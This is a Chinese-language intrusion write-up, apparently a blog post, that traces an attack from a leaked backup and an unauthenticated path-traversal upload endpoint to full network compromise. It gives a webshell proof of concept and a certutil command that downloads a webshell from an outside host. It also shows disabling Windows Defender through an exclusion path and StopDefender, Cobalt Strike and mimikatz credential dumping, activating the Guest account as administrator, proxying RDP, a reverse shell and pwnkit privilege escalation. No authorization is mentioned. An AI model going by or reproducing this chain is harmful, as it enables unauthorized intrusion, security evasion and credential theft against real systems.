初始权限获取
使用dirsearch进行扫描的时候发现了一个备份文件的泄漏,将其下载下来进行分析,其目录结构如下
在tsainiancheng目录下发现了一个文件上传的接口(saveDocuXML.php),该接口没有做任何鉴权,并且对上次的文件没有做任何检查过滤操作,具体的代码如下
其代码逻辑为:
1.使用file_get_contents来接收php://input的输入的数据
2.使用json_decode对获取到的数据进行解码
3.将其解码出来的filename和docuXML参数分别赋予给filename,docuXML变量
4.将filename变量直接拼接到一个路径上作为路径的变量,这里没有做任何的过滤操作,因此这里可以进行目录穿越写文件!!!
5.然后使用fwrite写入文件,最后使用chmod给文件赋予权限!!!
POC:
{“filename”:“1.php”,”docuXML”:“<?php phpinfo();?>”}
尝试上传到默认目录发现其可以解析,直接上马子getshell,但是事情没有没那么简单,不知道为啥,就是访问不到马子,先看看phpinfo看看有没有disable function,发现没有
然后尝试上传个执行命令的看看,哟西,可以执行,还是system权限
执行tasklist发现对方电脑上有WindowsDefender
于是使用证书下载冰蝎的webshell(windows defender不杀)
certutil.exe -urlcache -split -f http://x.x.x.x:8888/1.php(其实用curl更加方便)
使用冰蝎访问
powershell命令加白目录
powershell.exe Set-MpPreference -ExclusionPath "C:\WebRoot\OD”
下载StopDefender,并执行
https://github.com/lab52io/StopDefender/releases/tag/Version1.1.0
powershell上线cs,使用mimikatz抓取密码
有了账号于是尝试开启3389,远程登录,发现端口被过滤了,难道是防火墙的问题?尝试使用命令行关闭防火墙,还是无法远程,尝试搭建webshell版本的socks代理,发现能够登录RDP了,于是激活Guest账户并加入管理员组
https://github.com/L-codes/Neo-reGeorg/releases/tag/v3.8.1
开启RDP多人登录
mimikatz "ts::multirdp”
远程登录,使用fscan扫描本机所在c段,没有发现什么漏洞,继续扫描其他段
在其他c段发现了一个postgresql的弱口令,尝试反弹shell并使用pwnkit提权,成功拿到root权限,继续布置fscan进行内网扫描
未完待续。。。。。